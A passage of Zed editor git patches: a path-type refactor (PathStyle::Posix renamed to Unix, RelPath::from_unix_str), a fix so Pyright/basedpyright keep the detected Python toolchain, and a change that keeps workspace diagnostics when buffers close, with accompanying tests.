     //         "Path matcher should match {path:?}"
@@ -2839,7 +2647,7 @@ mod tests {
     // fn project_search() {
     //     let path = Path::new("/Users/someonetoignore/work/zed/zed.dev/node_modules");
     //     let path_matcher =
-    //         PathMatcher::new(&["**/node_modules/**".to_owned()], PathStyle::Posix).unwrap();
+    //         PathMatcher::new(&["**/node_modules/**".to_owned()], PathStyle::Unix).unwrap();
     //     assert!(
     //         path_matcher.is_match(path),
     //         "Path matcher should match {path:?}"
@@ -3264,28 +3072,28 @@ mod tests {
     fn test_strip_prefix() {
         let expected = [
             (
-                PathStyle::Posix,
+                PathStyle::Unix,
                 "/a/b/c",
                 "/a/b",
                 Some(rel_path("c").into_arc()),
             ),
             (
-                PathStyle::Posix,
+                PathStyle::Unix,
                 "/a/b/c",
                 "/a/b/",
                 Some(rel_path("c").into_arc()),
             ),
             (
-                PathStyle::Posix,
+                PathStyle::Unix,
                 "/a/b/c",
                 "/",
                 Some(rel_path("a/b/c").into_arc()),
             ),
-            (PathStyle::Posix, "/a/b/c", "", None),
-            (PathStyle::Posix, "/a/b//c", "/a/b/", None),
-            (PathStyle::Posix, "/a/bc", "/a/b", None),
+            (PathStyle::Unix, "/a/b/c", "", None),
+            (PathStyle::Unix, "/a/b//c", "/a/b/", None),
+            (PathStyle::Unix, "/a/bc", "/a/b", None),
             (
-                PathStyle::Posix,
+                PathStyle::Unix,
                 "/a/b/c",
                 "/a/b/c",
                 Some(rel_path("").into_arc()),
@@ -3390,19 +3198,19 @@ mod tests {
 
         let url = url::Url::parse("file:///home/user/file.txt").unwrap();
         assert_eq!(
-            url.to_file_path_ext(PathStyle::Posix),
+            url.to_file_path_ext(PathStyle::Unix),
             Ok(PathBuf::from("/home/user/file.txt"))
         );
 
         let url = url::Url::parse("file:///").unwrap();
         assert_eq!(
-            url.to_file_path_ext(PathStyle::Posix),
+            url.to_file_path_ext(PathStyle::Unix),
             Ok(PathBuf::from("/"))
         );
 
         let url = url::Url::parse("file:///a/b/c/d/e").unwrap();
         assert_eq!(
-            url.to_file_path_ext(PathStyle::Posix),
+            url.to_file_path_ext(PathStyle::Unix),
             Ok(PathBuf::from("/a/b/c/d/e"))
         );
     }
@@ -3413,19 +3221,19 @@ mod tests {
 
         let url = url::Url::parse("file:///home/user/file%20with%20spaces.txt").unwrap();
         assert_eq!(
-            url.to_file_path_ext(PathStyle::Posix),
+            url.to_file_path_ext(PathStyle::Unix),
             Ok(PathBuf::from("/home/user/file with spaces.txt"))
         );
 
         let url = url::Url::parse("file:///path%2Fwith%2Fencoded%2Fslashes").unwrap();
         assert_eq!(
-            url.to_file_path_ext(PathStyle::Posix),
+            url.to_file_path_ext(PathStyle::Unix),
             Ok(PathBuf::from("/path/with/encoded/slashes"))
         );
 
         let url = url::Url::parse("file:///special%23chars%3F.txt").unwrap();
         assert_eq!(
-            url.to_file_path_ext(PathStyle::Posix),
+            url.to_file_path_ext(PathStyle::Unix),
             Ok(PathBuf::from("/special#chars?.txt"))
         );
     }
@@ -3436,7 +3244,7 @@ mod tests {
 
         let url = url::Url::parse("file://localhost/home/user/file.txt").unwrap();
         assert_eq!(
-            url.to_file_path_ext(PathStyle::Posix),
+            url.to_file_path_ext(PathStyle::Unix),
             Ok(PathBuf::from("/home/user/file.txt"))
         );
     }
@@ -3446,7 +3254,7 @@ mod tests {
         use super::UrlExt;
 
         let url = url::Url::parse("file://somehost/home/user/file.txt").unwrap();
-        assert_eq!(url.to_file_path_ext(PathStyle::Posix), Err(()));
+        assert_eq!(url.to_file_path_ext(PathStyle::Unix), Err(()));
     }
 
     #[test]
@@ -3455,13 +3263,13 @@ mod tests {
 
         let url = url::Url::parse("file:///C:").unwrap();
         assert_eq!(
-            url.to_file_path_ext(PathStyle::Posix),
+            url.to_file_path_ext(PathStyle::Unix),
             Ok(PathBuf::from("/C:/"))
         );
 
         let url = url::Url::parse("file:///D|").unwrap();
         assert_eq!(
-            url.to_file_path_ext(PathStyle::Posix),
+            url.to_file_path_ext(PathStyle::Unix),
             Ok(PathBuf::from("/D|/"))
         );
     }
@@ -3574,11 +3382,11 @@ mod tests {
         use super::UrlExt;
 
         let url = url::Url::parse("http://example.com/path").unwrap();
-        assert_eq!(url.to_file_path_ext(PathStyle::Posix), Err(()));
+        assert_eq!(url.to_file_path_ext(PathStyle::Unix), Err(()));
         assert_eq!(url.to_file_path_ext(PathStyle::Windows), Err(()));
 
         let url = url::Url::parse("https://example.com/path").unwrap();
-        assert_eq!(url.to_file_path_ext(PathStyle::Posix), Err(()));
+        assert_eq!(url.to_file_path_ext(PathStyle::Unix), Err(()));
         assert_eq!(url.to_file_path_ext(PathStyle::Windows), Err(()));
     }
 
diff --git a/crates/util/src/util.rs b/crates/util/src/util.rs
index b479660d924f34..d4ebdfd5165f07 100644
--- a/crates/util/src/util.rs
+++ b/crates/util/src/util.rs
@@ -7,7 +7,6 @@ pub mod path_list;
 pub mod paths;
 pub mod process;
 pub mod redact;
-pub mod rel_path;
 pub mod schemars;
 pub mod serde;
 pub mod shell;
@@ -21,7 +20,7 @@ pub mod time;
 use anyhow::Result;
 use itertools::Either;
 use regex::Regex;
-use std::path::{Path, PathBuf};
+use std::path::PathBuf;
 use std::sync::LazyLock;
 use std::{
     borrow::Cow,
@@ -31,6 +30,9 @@ use std::{
 use unicase::UniCase;
 
 pub use gpui_util::*;
+pub use path::PathExt;
+pub use path::normalize_path;
+pub use path::rel_path;
 
 pub use take_until::*;
 #[cfg(any(test, feature = "test-support"))]
@@ -781,36 +783,6 @@ impl<O> From<anyhow::Result<O>> for ConnectionResult<O> {
     }
 }
 
-/// Normalizes a path by resolving `.` and `..` components without
-/// requiring the path to exist on disk (unlike `canonicalize`).
-pub fn normalize_path(path: &Path) -> PathBuf {
-    use std::path::Component;
-    let mut components = path.components().peekable();
-    let mut ret = if let Some(c @ Component::Prefix(..)) = components.peek().cloned() {
-        components.next();
-        PathBuf::from(c.as_os_str())
-    } else {
-        PathBuf::new()
-    };
-
-    for component in components {
-        match component {
-            Component::Prefix(..) => unreachable!(),
-            Component::RootDir => {
-                ret.push(component.as_os_str());
-            }
-            Component::CurDir => {}
-            Component::ParentDir => {
-                ret.pop();
-            }
-            Component::Normal(c) => {
-                ret.push(c);
-            }
-        }
-    }
-    ret
-}
-
 #[cfg(test)]
 mod tests {
     use super::*;
diff --git a/crates/workspace/src/pane.rs b/crates/workspace/src/pane.rs
index 47ae6942010aef..837afb6183d6b0 100644
--- a/crates/workspace/src/pane.rs
+++ b/crates/workspace/src/pane.rs
@@ -9110,11 +9110,11 @@ mod tests {
             path: util::rel_path::rel_path("dir/__init__.py").into(),
         };
         assert_eq!(
-            dirty_message_for(Some(project_path), PathStyle::Posix),
+            dirty_message_for(Some(project_path), PathStyle::Unix),
             "`dir/__init__.py` contains unsaved edits. Do you want to save it?"
         );
         assert_eq!(
-            dirty_message_for(None, PathStyle::Posix),
+            dirty_message_for(None, PathStyle::Unix),
             "This buffer contains unsaved edits. Do you want to save it?"
         );
     }
diff --git a/crates/workspace/src/persistence.rs b/crates/workspace/src/persistence.rs
index 0baeb8f854f503..f3f2710cd0f5ed 100644
--- a/crates/workspace/src/persistence.rs
+++ b/crates/workspace/src/persistence.rs
@@ -1435,7 +1435,8 @@ impl WorkspaceDb {
                     relative_worktree_path == String::default()
                 );
 
-                let Some(relative_path) = RelPath::unix(&relative_worktree_path).log_err() else {
+                let Some(relative_path) = RelPath::from_unix_str(&relative_worktree_path).log_err()
+                else {
                     continue;
                 };
                 if worktree_root_path != String::default()
@@ -2496,7 +2497,7 @@ impl WorkspaceDb {
                                 as_json: serde_json::Value::from_str(&json).ok()?,
                             },
                            Arc::from(worktree_root_path.as_ref()),
-                            RelPath::from_proto(&relative_worktree_path).log_err()?,
+                            RelPath::from_unix_str(&relative_worktree_path).log_err()?.into(),
                         ))
                     },
                 )
diff --git a/crates/workspace/src/security_modal.rs b/crates/workspace/src/security_modal.rs
index 3f8e4d95b8ea29..00fff04dc9a392 100644
--- a/crates/workspace/src/security_modal.rs
+++ b/crates/workspace/src/security_modal.rs
@@ -534,7 +534,7 @@ mod tests {
     #[test]
     fn accepts_ancestor_or_equal() {
         let project = Path::new("/Users/me/dev/delta/wt/t1");
-        let style = PathStyle::Posix;
+        let style = PathStyle::Unix;
         assert_eq!(
             validate_trust_scope("/Users/me/dev/delta/wt", project, None, style).unwrap(),
             PathBuf::from("/Users/me/dev/delta/wt"),
@@ -551,7 +551,7 @@ mod tests {
     #[test]
     fn rejects_non_ancestor_relative_or_empty() {
         let project = Path::new("/Users/me/dev/delta/wt/t1");
-        let style = PathStyle::Posix;
+        let style = PathStyle::Unix;
         assert!(validate_trust_scope("/Users/other", project, None, style).is_err());
         assert!(validate_trust_scope("relative/path", project, None, style).is_err());
         assert!(validate_trust_scope("   ", project, None, style).is_err());
@@ -565,7 +565,7 @@ mod tests {
     fn expands_leading_tilde() {
         let home = Path::new("/Users/me");
         let project = Path::new("/Users/me/dev/wt/t1");
-        let style = PathStyle::Posix;
+        let style = PathStyle::Unix;
         assert_eq!(
             validate_trust_scope("~/dev/wt", project, Some(home), style).unwrap(),
             PathBuf::from("/Users/me/dev/wt"),
diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index ab414f08709d04..06442855fb163c 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -498,7 +498,9 @@ impl Worktree {
                     abs_path
                         .file_name()
                         .and_then(|f| f.to_str())
-                        .map_or(RelPath::empty_arc(), |f| RelPath::unix(f).unwrap().into()),
+                        .map_or(RelPath::empty_arc(), |f| {
+                            RelPath::from_unix_str(f).unwrap().into()
+                        }),
                     abs_path.clone(),
                     PathStyle::local(),
                 ),
@@ -541,7 +543,7 @@ impl Worktree {
                 } else {
                     if let Some(file_name) = abs_path.file_name()
                         && let Some(file_name) = file_name.to_str()
-                        && let Ok(path) = RelPath::unix(file_name)
+                        && let Ok(path) = RelPath::from_unix_str(file_name)
                     {
                         entry.is_private = !share_private_files && settings.is_path_private(path);
                         entry.is_hidden = settings.is_path_hidden(path);
@@ -586,7 +588,8 @@ impl Worktree {
         cx.new(|cx: &mut Context<Self>| {
             let mut snapshot = Snapshot::new(
                 WorktreeId::from_proto(worktree.id),
-                RelPath::from_proto(&worktree.root_name).unwrap_or_else(|_| RelPath::empty_arc()),
+                RelPath::from_unix_str(&worktree.root_name)
+                    .map_or_else(|_| RelPath::empty_arc(), Into::into),
                 Path::new(&worktree.abs_path).into(),
                 path_style,
             );
@@ -681,9 +684,11 @@ impl Worktree {
                                 for entry in &update.updated_entries {
                                     // Remote updates don't distinguish creation from
                                     // modification, so report `AddedOrUpdated`.
-                                    if let Some(path) = RelPath::from_proto(&entry.path).log_err() {
+                                    if let Some(path) =
+                                        RelPath::from_unix_str(&entry.path).log_err()
+                                    {
                                         changed_entries.push((
-                                            path,
+                                            path.into(),
                                             ProjectEntryId::from_proto(entry.id),
                                             PathChange::AddedOrUpdated,
                                         ));
@@ -792,7 +797,7 @@ impl Worktree {
     pub fn metadata_proto(&self) -> proto::WorktreeMetadata {
         proto::WorktreeMetadata {
             id: self.id().to_proto(),
-            root_name: self.root_name().to_proto(),
+            root_name: self.root_name().as_unix_str().to_owned(),
             visible: self.is_visible(),
             abs_path: self.abs_path().to_string_lossy().into_owned(),
             root_repo_common_dir: self
@@ -931,7 +936,7 @@ impl Worktree {
                 let request = this.client.request(proto::CreateProjectEntry {
                     worktree_id: worktree_id.to_proto(),
                     project_id,
-                    path: path.as_ref().to_proto(),
+                    path: path.as_ref().as_unix_str().to_owned(),
                     content,
                     is_directory,
                 });
@@ -1094,9 +1099,11 @@ impl Worktree {
             anyhow::Ok((
                 this.scan_id(),
                 this.create_entry(
-                    RelPath::from_proto(&request.path).with_context(|| {
-                        format!("received invalid relative path {:?}", request.path)
-                    })?,
+                    RelPath::from_unix_str(&request.path)
+                        .with_context(|| {
+                            format!("received invalid relative path {:?}", request.path)
+                        })?
+                        .into(),
                     request.is_directory,
                     request.content,
                     cx,
@@ -1696,7 +1703,7 @@ impl LocalWorktree {
                     let refresh_full_path = lowest_ancestor.join(refresh_path);
 
                     refreshes.push(this.as_local_mut().unwrap().refresh_entry(
-                        refresh_full_path,
+                        refresh_full_path.into(),
                         None,
                         cx,
                     ));
@@ -2159,7 +2166,9 @@ impl LocalWorktree {
             .as_path()
             .file_name()
             .and_then(|f| f.to_str())
-            .map_or(RelPath::empty_arc(), |f| RelPath::unix(f).unwrap().into());
+            .map_or(RelPath::empty_arc(), |f| {
+                RelPath::from_unix_str(f).unwrap().into()
+            });
         self.snapshot.update_abs_path(new_path, root_name);
         self.restart_background_scanners(cx);
     }
@@ -2372,7 +2381,7 @@ impl RemoteWorktree {
                 let Some(filename) = root_path_to_copy
                     .file_name()
                     .and_then(|name| name.to_str())
-                    .and_then(|filename| RelPath::unix(filename).ok())
+                    .and_then(|filename| RelPath::from_unix_str(filename).ok())
                 else {
                     continue;
                 };
@@ -2401,7 +2410,7 @@ impl RemoteWorktree {
                     requests.push(proto::CreateProjectEntry {
                         project_id,
                         worktree_id,
-                        path: target_path.to_proto(),
+                        path: target_path.as_unix_str().to_owned(),
                         is_directory,
                         content,
                     });
@@ -2490,7 +2499,7 @@ impl Snapshot {
             project_id,
             worktree_id,
             abs_path: self.abs_path().to_string_lossy().into_owned(),
-            root_name: self.root_name().to_proto(),
+            root_name: self.root_name().as_unix_str().to_owned(),
             root_repo_common_dir: self
                 .root_repo_common_dir()
                 .map(|p| p.to_string_lossy().into_owned()),
@@ -2596,10 +2605,10 @@ impl Snapshot {
             update.updated_entries.len(),
             update.removed_entries.len()
         );
-        if let Some(root_name) = RelPath::from_proto(&update.root_name).log_err() {
+        if let Some(root_name) = RelPath::from_unix_str(&update.root_name).log_err() {
             self.update_abs_path(
                 SanitizedPath::new_arc(&Path::new(&update.abs_path)),
-                root_name,
+                root_name.into(),
             );
         }
 
@@ -2894,7 +2903,7 @@ impl LocalSnapshot {
             project_id,
             worktree_id,
             abs_path: self.abs_path().to_string_lossy().into_owned(),
-            root_name: self.root_name().to_proto(),
+            root_name: self.root_name().as_unix_str().to_owned(),
             root_repo_common_dir: self
                 .root_repo_common_dir()
                 .map(|p| p.to_string_lossy().into_owned()),
@@ -3101,7 +3110,7 @@ impl LocalSnapshot {
                 assert!(self.entry_for_path(ignore_parent_path).is_some());
                 assert!(
                     self.entry_for_path(
-                        &ignore_parent_path.join(RelPath::unix(GITIGNORE).unwrap())
+                        &ignore_parent_path.join(RelPath::from_unix_str(GITIGNORE).unwrap())
                     )
                     .is_some()
                 );
@@ -3693,7 +3702,7 @@ impl language::File for File {
         rpc::proto::File {
             worktree_id: self.worktree.read(cx).id().to_proto(),
             entry_id: self.entry_id.map(|id| id.to_proto()),
-            path: self.path.as_ref().to_proto(),
+            path: self.path.as_ref().as_unix_str().to_owned(),
             mtime: self.disk_state.mtime().map(|time| time.into()),
             is_deleted: self.disk_state.is_deleted(),
             is_historic: matches!(self.disk_state, DiskState::Historic { .. }),
@@ -3778,7 +3787,9 @@ impl File {
 
         Ok(Self {
             worktree,
-            path: RelPath::from_proto(&proto.path).context("invalid path in file protobuf")?,
+            path: RelPath::from_unix_str(&proto.path)
+                .context("invalid path in file protobuf")?
+                .into(),
             disk_state,
             entry_id: proto.entry_id.map(ProjectEntryId::from_proto),
             is_local: false,
@@ -5152,10 +5163,11 @@ impl BackgroundScanner {
             let child_name = child_abs_path.file_name().unwrap();
             let Some(child_path) = child_name
                 .to_str()
-                .and_then(|name| Some(job.path.join(RelPath::unix(name).ok()?)))
+                .and_then(|name| Some(job.path.join(RelPath::from_unix_str(name).ok()?)))
             else {
                 continue;
             };
+            let child_path: Arc<RelPath> = child_path.into();
 
             if self.track_git_repositories {
                 if child_name == DOT_GIT {
@@ -5295,7 +5307,7 @@ impl BackgroundScanner {
             {
                 let relative_path = job
                     .path
-                    .join(RelPath::unix(child_name.to_str().unwrap()).unwrap());
+                    .join(RelPath::from_unix_str(child_name.to_str().unwrap()).unwrap());
                 if self.is_path_private(&relative_path) {
                     log::debug!("detected private file: {relative_path:?}");
                     child_entry.is_private = true;
@@ -5677,7 +5689,8 @@ impl BackgroundScanner {
                             }
                         }
 
-                        let ignore_path = parent_path.join(RelPath::unix(GITIGNORE).unwrap());
+                        let ignore_path =
+                            parent_path.join(RelPath::from_unix_str(GITIGNORE).unwrap());
                         if snapshot.snapshot.entry_for_path(&ignore_path).is_none() {
                             return false;
                         }
@@ -5904,7 +5917,9 @@ impl BackgroundScanner {
                     .entry_for_id(work_directory_id)
                     .is_some_and(|entry| {
                         snapshot
-                            .entry_for_path(&entry.path.join(RelPath::unix(DOT_GIT).unwrap()))
+                            .entry_for_path(
+                                &entry.path.join(RelPath::from_unix_str(DOT_GIT).unwrap()),
+                            )
                             .is_some()
                     });
 
@@ -6284,7 +6299,7 @@ impl WorktreeModelHandle for Entity<Worktree> {
             // Check if condition is already met before waiting for events
             let file_exists = || {
                 tree.read_with(cx, |tree, _| {
-                    tree.entry_for_path(RelPath::unix(file_name).unwrap())
+                    tree.entry_for_path(RelPath::from_unix_str(file_name).unwrap())
                         .is_some()
                 })
             };
@@ -6304,7 +6319,7 @@ impl WorktreeModelHandle for Entity<Worktree> {
             // Check if condition is already met before waiting for events
             let file_gone = || {
                 tree.read_with(cx, |tree, _| {
-                    tree.entry_for_path(RelPath::unix(file_name).unwrap())
+                    tree.entry_for_path(RelPath::from_unix_str(file_name).unwrap())
                         .is_none()
                 })
             };
@@ -6671,7 +6686,7 @@ impl<'a> From<&'a Entry> for proto::Entry {
         Self {
             id: entry.id.to_proto(),
             is_dir: entry.is_dir(),
-            path: entry.path.as_ref().to_proto(),
+            path: entry.path.as_ref().as_unix_str().to_owned(),
             inode: entry.inode,
             mtime: entry.mtime.map(|time| time.into()),
             is_ignored: entry.is_ignored,
@@ -6699,14 +6714,14 @@ impl TryFrom<(&CharBag, &PathMatcher, proto::Entry)> for Entry {
             EntryKind::File
         };
 
-        let path =
-            RelPath::from_proto(&entry.path).context("invalid relative path in proto message")?;
+        let path = RelPath::from_unix_str(&entry.path)
+            .context("invalid relative path in proto message")?;
         let char_bag = char_bag_for_path(*root_char_bag, &path);
         let is_always_included = always_included.is_match(&path);
         Ok(Entry {
             id: ProjectEntryId::from_proto(entry.id),
             kind,
-            path,
+            path: path.into(),
             inode: entry.inode,
             mtime: entry.mtime.map(|time| time.into()),
             size: entry.size.unwrap_or(0),
diff --git a/crates/worktree/tests/integration/worktree_tests.rs b/crates/worktree/tests/integration/worktree_tests.rs
index b4b6c2d1aeec22..c036a6d16fa279 100644
--- a/crates/worktree/tests/integration/worktree_tests.rs
+++ b/crates/worktree/tests/integration/worktree_tests.rs
@@ -3224,7 +3224,7 @@ fn randomly_mutate_worktree(
                     if is_dir { "dir" } else { "file" },
                     child_path,
                 );
-                let task = worktree.create_entry(child_path, is_dir, None, cx);
+                let task = worktree.create_entry(child_path.into(), is_dir, None, cx);
                 cx.background_spawn(async move {
                     task.await?;
                     Ok(())
@@ -5190,7 +5190,7 @@ async fn test_remote_worktree_without_git_emits_root_repo_event_after_first_upda
                 root_repo_is_linked_worktree: false,
             },
             client,
-            PathStyle::Posix,
+            PathStyle::Unix,
             cx,
         )
     });
@@ -5287,7 +5287,7 @@ async fn test_remote_worktree_with_git_emits_root_repo_event_when_repo_info_arri
                 root_repo_is_linked_worktree: false,
             },
             client,
-            PathStyle::Posix,
+            PathStyle::Unix,
             cx,
         )
     });
@@ -5386,7 +5386,7 @@ async fn test_remote_worktree_root_repo_metadata_cleared_only_by_completed_scan(
                 root_repo_is_linked_worktree: true,
             },
             client,
-            PathStyle::Posix,
+            PathStyle::Unix,
             cx,
         )
     });

From c28e37687d566d7fe20d959622f0ff172e546acf Mon Sep 17 00:00:00 2001
From: Xin Zhao <zx0@mail.ustc.edu.cn>
Date: Wed, 15 Jul 2026 16:39:19 +0800
Subject: [PATCH 472/772] languages: Fix Pyright ignoring toolchain when LSP
 settings are configured (#59990)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Closes #55936
Helps #57288

There is a strange behavior for Python users when using basedpyright or
pyright as the language server. As reported in #55936, when no settings
are configured in `lsp.basedpyright.settings`, the language server
correctly receives toolchain information discovered by Zed:
```json
{
  "venvPath": ".",
  "venv": ".venv",
  "python": {
    "pythonPath": "/home/xin/works/test/test_python/.venv/bin/python",
    "defaultInterpreterPath": "/home/xin/works/test/test_python/.venv/bin/python"
  },
  "basedpyright.analysis": {
    "typeCheckingMode": "standard"
  },
  "basedpyright.disableOrganizeImports": true
}
```
However, when the user configures any other settings in
`lsp.basedpyright.settings`, the toolchain information is silently lost.
For example, with the following `settings.json`:
```jsonc
{
  "lsp": {
    "basedpyright": {
      "settings": {
        "analysis": {
          "diagnosticMode": "workspace",
          "typeCheckingMode": "standard",
          "inlayHints.callArgumentNames": true,
          "inlayHints.variableTypes": true,
        },
      },
    }
  }
}
```
The final configuration sent to the language server becomes:
```json
{
  "analysis": {
    "diagnosticMode": "workspace",
    "typeCheckingMode": "standard",
    "inlayHints.callArgumentNames": true,
    "inlayHints.variableTypes": true
  }
}
```
No toolchain information is passed, so the language server ignores the
user's selected Python environment and falls back to whatever virtual
environment it discovers on its own. To make toolchain selection work,
users currently have to manually configure virtual environment settings
themselves (as noted in
https://github.com/zed-industries/zed/issues/57288#issuecomment-4750935341).


This issue was introduced in #48262, which aimed to make the virtual
environment used by basedpyright/pyright configurable. The core logic is
the `should_insert_toolchain` closure, originally designed to check
whether Zed should inject the detected toolchain into the language
server configuration. The intent was: if the user has already configured
a virtual environment in the language server settings, skip the
injection.


https://github.com/zed-industries/zed/blob/2c346f60a76fe3f0367ef924927f50a6efdf5718/crates/languages/src/python.rs#L2115-L2128

However, the original logic was inverted — it injected the toolchain
when the user had no settings at all or when they had configured virtual
environment keys. This meant that when the user had LSP settings but no
virtual environment configuration, toolchain injection was skipped, as
reported in #55936.


## Solution

Change the logic defined in `should_insert_toolchain` closure, instead
of insert toolchain when detected virtual environment settings, now we
insert toolchain when no virtual environment settings is detected.

## Testing

Tested locally. The logic change is simple, should be easy for review.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed toolchain selection being ignored when Pyright or Basedpyright
settings are configured without specifying a Python interpreter path
---
 crates/languages/src/python.rs | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/crates/languages/src/python.rs b/crates/languages/src/python.rs
index becefed29efb30..7764f8f2403474 100644
--- a/crates/languages/src/python.rs
+++ b/crates/languages/src/python.rs
@@ -669,7 +669,7 @@ impl LspAdapter for PyrightLspAdapter {
             // If we have a detected toolchain, configure Pyright to use it - unless the user sets it themselves.
             let should_insert_toolchain = || {
                 user_settings.as_object().is_none_or(|object| {
-                    [
+                    ![
                         "venvPath",
                         "venv",
                         "python",
@@ -2112,10 +2112,10 @@ impl LspAdapter for BasedPyrightLspAdapter {
                     .and_then(|s| s.settings.clone())
                     .unwrap_or_default();
 
-            // If we have a detected toolchain, configure Pyright to use it
+            // If we have a detected toolchain, configure BasedPyright to use it - unless the user sets it themselves.
             let should_insert_toolchain = || {
                 user_settings.as_object().is_none_or(|object| {
-                    [
+                    ![
                         "venvPath",
                         "venv",
                         "python",

From c7b43b20b409b88e3cc359513b3d687fc1c92259 Mon Sep 17 00:00:00 2001
From: Xin Zhao <zx0@mail.ustc.edu.cn>
Date: Wed, 15 Jul 2026 16:43:47 +0800
Subject: [PATCH 473/772] project: Persist workspace diagnostics when closing
 buffer (#59875)

# Objective

Closes #50739

Many language servers have settings for their diagnostic mode, typically
supporting either "single file" mode or "workspace" mode.

In single file mode, the language server only generates diagnostics for
files that the user has open. When a file is closed, those diagnostics
are cleared. This is the behavior currently implemented in Zed.

However, when a language server runs in workspace mode, we should retain
all diagnostics regardless of whether the corresponding file is open or
closed. As reported in #50739, Zed currently discards these diagnostics
when a buffer is closed, just like in single file mode.

When a buffer is completely closed, Zed triggers a diagnostics update to
perform cleanup:

https://github.com/zed-industries/zed/blob/8372eb1b131ab3b8c0622e930e985f15eb970687/crates/project/src/lsp_store.rs#L4747-L4773
and the Pulled diagnostics are all cleaned, that's why when closing a
buffer, the diagnostic summary disappeared. This process aggressively
clears all `Pulled` diagnostics, causing the diagnostic summary for the
closed file to disappear.

## Solution

Filter the target language servers when updating diagnostics on buffer
close. If a language server has workspace diagnostics enabled, we skip
clearing its diagnostics.

## Testing

Added two new integration tests in
`crates/project/tests/integration/project_tests.rs`:
1.
`test_diagnostic_summaries_cleared_on_buffer_close_without_workspace_diagnostics`:
Verifies that diagnostics are cleared on buffer close when workspace
diagnostics is disabled.
2.
`test_diagnostic_summaries_retained_on_buffer_close_with_workspace_diagnostics`:
Verifies that diagnostics are retained when workspace diagnostics are
enabled. (This test fails on the current `main` branch).

I have also verified this functionality locally. Both local and remote
development environments work as expected.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- Fixed workspace diagnostics being cleared when closing a buffer.
---
 crates/project/src/lsp_store.rs               |  17 +-
 .../tests/integration/project_tests.rs        | 213 ++++++++++++++++++
 2 files changed, 228 insertions(+), 2 deletions(-)

diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index e98b70c3d14e08..e943edd62eb955 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -4823,8 +4823,21 @@ impl LspStore {
 
                             let diagnostic_updates = local
                                 .language_servers
-                                .keys()
-                                .cloned()
+                                .iter()
+                                .filter_map(|(server_id, state)| {
+                                    let supports_workspace_diagnostics = match state {
+                                        LanguageServerState::Running {
+                                            workspace_diagnostics_refresh_tasks,
+                                            ..
+                                        } => !workspace_diagnostics_refresh_tasks.is_empty(),
+                                        _ => false,
+                                    };
+                                    if supports_workspace_diagnostics {
+                                        None
+                                    } else {
+                                        Some(*server_id)
+                                    }
+                                })
                                 .map(|server_id| DocumentDiagnosticsUpdate {
                                     diagnostics: DocumentDiagnostics {
                                         document_abs_path: buffer_abs_path.clone(),
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index dc9057409bc7f5..6ec9f34502122e 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -4431,6 +4431,219 @@ async fn test_diagnostic_summaries_cleared_on_buffer_reload(cx: &mut gpui::TestA
     );
 }
 
+#[gpui::test]
+async fn test_diagnostic_summaries_cleared_on_buffer_close_without_workspace_diagnostics(
+    cx: &mut gpui::TestAppContext,
+) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(path!("/dir"), json!({ "a.rs": "one two three" }))
+        .await;
+
+    let project = Project::test(fs, [path!("/dir").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: lsp::ServerCapabilities {
+                diagnostic_provider: Some(lsp::DiagnosticServerCapabilities::Options(
+                    lsp::DiagnosticOptions {
+                        identifier: Some("test-close-no-ws".to_string()),
+                        inter_file_dependencies: true,
+                        workspace_diagnostics: false,
+                        work_done_progress_options: Default::default(),
+                    },
+                )),
+                ..lsp::ServerCapabilities::default()
+            },
+            initializer: Some(Box::new(move |fake_server| {
+                fake_server.set_request_handler::<lsp::request::DocumentDiagnosticRequest, _, _>(
+                    move |_, _| async move {
+                        Ok(lsp::DocumentDiagnosticReportResult::Report(
+                            lsp::DocumentDiagnosticReport::Full(
+                                lsp::RelatedFullDocumentDiagnosticReport {
+                                    related_documents: None,
+                                    full_document_diagnostic_report:
+                                        lsp::FullDocumentDiagnosticReport {
+                                            result_id: None,
+                                            items: vec![lsp::Diagnostic {
+                                                range: lsp::Range::new(
+                                                    lsp::Position::new(0, 0),
+                                                    lsp::Position::new(0, 3),
+                                                ),
+                                                severity: Some(lsp::DiagnosticSeverity::ERROR),
+                                                message: "pulled error no-ws".to_string(),
+                                                ..Default::default()
+                                            }],
+                                        },
+                                },
+                            ),
+                        ))
+                    },
+                );
+            })),
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    let (buffer, handle) = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/dir/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let _fake_server = fake_servers.next().await.unwrap();
+    cx.executor().run_until_parked();
+
+    let lsp_store = project.read_with(cx, |project, _| project.lsp_store());
+    lsp_store.update(cx, |lsp_store, cx| {
+        lsp_store
+            .pull_diagnostics_for_buffer(buffer.clone(), cx)
+            .detach();
+    });
+    cx.executor().run_until_parked();
+
+    project.update(cx, |project, cx| {
+        assert_eq!(
